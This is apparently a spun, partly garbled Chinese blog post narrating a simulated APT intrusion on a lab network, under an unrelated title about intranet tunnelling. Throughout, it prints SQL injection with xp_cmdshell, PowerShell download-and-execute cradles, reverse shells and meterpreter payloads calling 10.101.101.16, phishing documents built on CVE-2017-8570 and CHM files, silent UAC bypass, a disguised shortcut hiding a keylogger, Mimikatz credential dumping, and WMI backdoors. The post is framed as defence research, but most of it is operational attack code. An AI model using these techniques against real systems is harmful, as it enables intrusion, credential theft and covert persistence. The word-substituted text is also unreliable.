服务器搭建内网穿透(自建服务器内网穿透)〔利用服务器搭建内网穿透〕

  APT攻击方式格式 繁多 ,我研究近来 的盛行 的APT攻击方式,在本地 搭建环境 模仿 一次简单 的APT攻击,在模仿 攻击过程中发现网上公布的poc都会有大巨细 的缺陷 ,大多数poc实行 过程中都会弹出一闪而过的黑框框,我深入分析这些脚本,修改此中 的代码 ,使其实行 的过程中消除谁人 一闪而过的黑框框,从而让中招的不会轻易 产生猜疑 。我研究的目标 是袒露 如许 的攻击过程,让更多的人相识 如许 的攻击过程,从而可以或许 研究出更有效 的防御方法。

  内网的拓扑

  拓扑阐明 :

  【1】10.101.101.0/24的网段模仿 的是外网的地点

  【2】192.168.101.0/24的网段模仿 的是一个小型企业的内网中的应用服务器网络

  【3】192.168.111.0/24的网段模仿 的是一个小型企业的内网中的办公网络

  【4】企业内网可以无穷 制的访问到外网 ,但是外网无法访问到企业内网

  【5】办公网可以无穷 制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络

  【6】部分 服务器打了全部的补丁,而且 保持正常更新

  一样平常 扫描

  发现此服务器开放80 ,82端口,是windows 2008体系 。在80端口发现有sql注入

  起首 看数据库和数据库地点 的服务器版本:

  http:/ /10.101.101.13/?page= 1and@@version 0--

  数据库是2008r2的,数据库地点 的操纵 体系 是win2008大概 win7然后看数据库:

  http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--

  这个语句测试数据库的权限 ,发现有延时,证明 是有数据库的权限是dba的权限然后用:

  EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;

  打开xp_cmdshell的限定 ,下面创建一个临时 表:

  https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --

  实行 ipconfig /all并将结果 写入新创建的临时 表中

  https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --

  读取结果 :

  https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000)) 0--

  看上去这个网站是站库分离的网站 。

  然后用这种方法实行 “ping 10.101.101.16 ” ,发现数据库服务器可以通外网,获取这些信息之后,我用下面的指令删除创建的临时 表

  https://10.101.101.13/?page=1; droptabletemp; --

  获取到这么多信息了之后 ,在本身 的机子上开一个web站点,下载nishang的powershell的反弹脚本到本身 的web服务器上:https://github.com/samratashok/nishang ,先在本身 的主机上用nc -lvvp 8888监听8888端口,等待 反弹毗连 。

  然后实行

  http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

  我们可以看到实行 乐成

  但是数据库被降权 ,权限不高,如今 我把ms15-051的exp上传到本身 的服务器,用powershell的长途 加载并实行 exe的脚本。实行 这个exp起首 下载powershell的这个脚本

  https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

  然后实行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

  可以看到提权没有乐成 ,而且 换一个exp也没有乐成

  以是 下面上msf继承 探测 先开启msf的监听功能

  然后实行

  http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

  如许 就从数据库主机上反弹一个meterpreter毗连 了 。

  先用

  useauxiliary/scanner/smb/smb_version

  扫描smb来获取内网的信息

  发现一个mail服务器,用

  useauxiliary/scanner/portscan

  扫描一下端口 ,发现开放了80端口 ,25,110端口

  我用 use auxiliary/server/socks4a 署理 进内网

  在乌云镜像内里 没有找到可以用的洞,但是在82端口发现了惊喜

  通过弱口令轻松进入到背景 ,发现一个可以天生 静态站的地方

服务器搭建内网穿透(自建服务器内网穿透) 服务器搭建内网穿透(自建服务器内网穿透)〔利用服务器搭建内网穿透〕 新闻资讯

  把自界说 静态页面存储主路径改成1.asp,然后编辑一篇文章,把木马代码放进去 ,重新天生 静态页面就可以getshell了

  这个服务器的82端口不能实行 cmd,不支持aspx,不能跨目次 到umail,但是在一个奇怪 的地方发现一个一份企业通讯录 ,下载下来看到管理员邮箱

  于是想到用伪造邮件的方法来钓管理员 起首 参考两个文章:

  https://www.freebuf.com/vuls/144054.html

  https://www.91ri.org/15506.html

  

  第一种方法

  起首 用CVE-2017-8570给的exp做一个垂纶 用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再实行 ,如许 轻易 被杀软发现,而且 原来的exp实行 反弹返来 的shell权限不敷 ,以是 要思量 绕过uac ,让管理员点击恶意的ppsx后静默反弹一个高权限的shell。假如 用nishang给的Invoke-PsUACme.ps1,实行 之后会有一个一闪而过的黑框框,很让人感到猜疑 ,去掉这个一闪而过的黑框框很简单 ,由于 我用oobe的方法在win7上绕过uac,以是 我在这里只先容 在这种条件下去掉黑框框的方法。起首 去掉Invoke-PsUACme.ps1中第206行的“ $execpath”这个代码 ,之后在调用Invoke-PsUACme的时间 -payload参数写上你要实行 的下令 ,末了 用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe

  IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")

  换掉原来exp内里 的powershell调用语句 此中 uacchm.ps1的内容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

  而此中 enc背面 的数据是颠末 下面的代码编码而成:

  $command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

  编码的内容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

  chm.ps1的内容是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

  改好的exp我放在了

  https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py

  用法是:天赋 生 一个恶意的ppsx

  python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc

  在82端口开启服务

  pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16

  Ps: 很多 多少 时间 这个弊端 复现不乐成 ,可以将查察 文件 - 选项 ,点击 信托 中心 设置:

  去掉这些勾就好

  

  第二种方法

  这个比力 简单 : 用easy chm做一个恶意的chm就好

  此中 我做的test.html放在了

  https://github.com/niexinming/safe_tool/blob/master/test.html

  Ps:由于PARAM的value的长度好像 有某种限定 ,以是 我把

  IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64

  编码之后放入PARAM的value中

  两个恶意的文件都制作好了,我如今 用swaks伪造邮件把这两个文档发送出去

  如今 静静 等待 管理员点击我们的恶意文件,启动msf的exploit/multi/handler模块时间 用exploit -j就可以让msf在背景 等待 管理员中计 了 。 这个时间 发现一个管理员中了我们的木马

  由于bypass了uac ,以是 返回的是管理员的shell,我们可以用mimikatz来把暗码 脱出来看看

  由于管理员的机子不属于任何域,也不是域账号登岸 ,以是 ,我必要 获取他的在长途 登岸 其他机子的时间 的用户名和暗码 ,根据 《分析 制作俄罗斯APT构造 利用 的快捷方式后门文件》这篇文件的先容 ,我盼望 更换 长途 桌面的快捷方式来监督 管理员的举动 。

  思绪 是:

  (1)正常启动c:windowssystem32mstsc.exe,克制 管理员猜疑 ;

  (2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框 ,让恶意代码静态启动;

  (3)参数部分 要先加260个空格字符背面 接着为payload代码,如许 减小管理员查察 属性的时间 看到payload而产生猜疑 ;

服务器搭建内网穿透(自建服务器内网穿透) 服务器搭建内网穿透(自建服务器内网穿透)〔利用服务器搭建内网穿透〕 新闻资讯

  (4)参考 《渗出 本领 ——怎样 奇妙 利用 PSR监控Windows桌面》 这个文章静默启动一个桌面步调 记录 程序 ;

  (5)利用 PowerSploit的Get-Keystrokes.ps1的脚原来 记录 键盘记录

  (6)记录 一分钟后把记录 的文件隐蔽 起来

  (7)启动metasploit的反弹毗连

  (8)修改图标(关于C:Windowssystem32SHELL32.dll的图标id,有个网站给的很全面 ,可以修改转达 给图标id来修改图标)

  我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,长途 加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,天生 好恶意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事变 了。

  

  利用 方法

  看着已经天生 好了 ,看一下结果

  看着比力 正常,用起来也很正常,没有卡顿 ,没有一闪而过的黑框 。假如 管理员用到长途 登岸 快捷方式去长途 登岸 服务器的话,在c:windowstemp目次 下会天生 log.dll,这个内里 记录 的是键盘记录 ,cap.zip记录 的是关键步调 截屏

  等管理员启动的恶意的长途 登岸 快捷方式之前,可以用管理员的暗码 在应用服务器网段内用use auxiliary/scanner/smb/smb_login碰碰运气

  

  看上去运气不佳啊

  等了几天,发如今 这个目次 下有这个东西了

  下载之后看到 ,键盘记录 :

  下面是屏幕截图记录

  如许 我就得到 了一个平凡 域账号的账户名和暗码 。

  下口试 试MS14-068这个弊端 能不能乐成 ,参考文章:

  https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35type=note#/用proxychain实行 goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻击

  Ps: 攻击的时间 假如 dns在内网要记得hosts的地点 绑定

  用得到的shell反弹一个poweshell出来到本地 8888端口 ,假如 你用下面的语句反弹的话将得到是一个32位的powershell:

  powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888

  这个时间 你运行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

  体系 会报错,缘故起因 是你不能在32位的shell中运行64位的程程序,这里涉及到一个64位体系 文件重定向的题目 ,参考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。以是 精确 的做法是利用 下面的代码来反弹一个64位的powershell

  C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

  这个时间 你运行

  IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat

  你就会得到域控管理员的暗码 下面我要在域控上面安装一个潜伏 的后门 ,参考文章:

  https://www.moonsec.com/post-621.html

  https://www.secpulse.com/archives/39555.html

  https://wooyun.jozxing.cc/static/drops/tips-15575.html

  我利用 三好学 生的方法制作一个wmi的后门,起首 : 在本身 的web目次 下写一个mof.ps1,这个文件作用是用利用 wmi的定时器的功能让体系 每分钟实行 一次我们的payload ,这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 。

  我还写了一个可以挟制 进程 的powershell脚本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,这里我用每分钟实行 payload的这个脚本 ,这里的我的payload我用一个反弹meterpreter毗连 的脚本,mof.txt内里 的内容:

  ?xml version="1.0"?

  ![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]

  enc编码前的内容依然是:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')

  实行 之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹

  Ps: 这个wmi的后门我在win10上实行 的时间 ,不能实行 payload,假如 触发到后门的触发条件的话,win10会弹出openwith.exe这个进程 ,界面上看就是这个

  查了两资质 料也没有找到一个端庄 的办理 方法,但是厥后 把openwith.exe换成cmd.exe就可以实行 payload了,由于 win7和win2008没有openwith,以是 没有碰到 什么阻力就直接实行 payload了 ,但是win10和win8在正常环境 下就会打开openwith这个后门的整理 方式,可以参考https://www.52pojie.cn/thread-607115-1-1.html

  我还想放置一个后门,在域控管理员改暗码 的时间 记录 他的新暗码 ,参考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,留意 他的脚本内里 有一个选项可以从你的web服务器加载一个dll到对方主机内存内里 ,如许 你把你的dll天生 好之后就可以放在你的web服务器下面 ,在这个ps1最下面参加

  Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass

  就可以了,然后你把这个脚本的调用参加 到chm.ps1内里 :下面是改动之后chm.ps1内里 的内容:

  IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force

  如许 就可以任何时间 每隔一分钟的时间 可以一方面反弹一个meterpreter的毗连 ,还可以在域管理员改暗码 的时间 记录 他的新暗码

  本文先容 了web渗出 ,邮件垂纶 ,后门摆设 等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我本身 的办理 思绪 ,假如 有题目 各人 可以在批评 区留言,我们共同探究 。

(泉源 :亚信安全)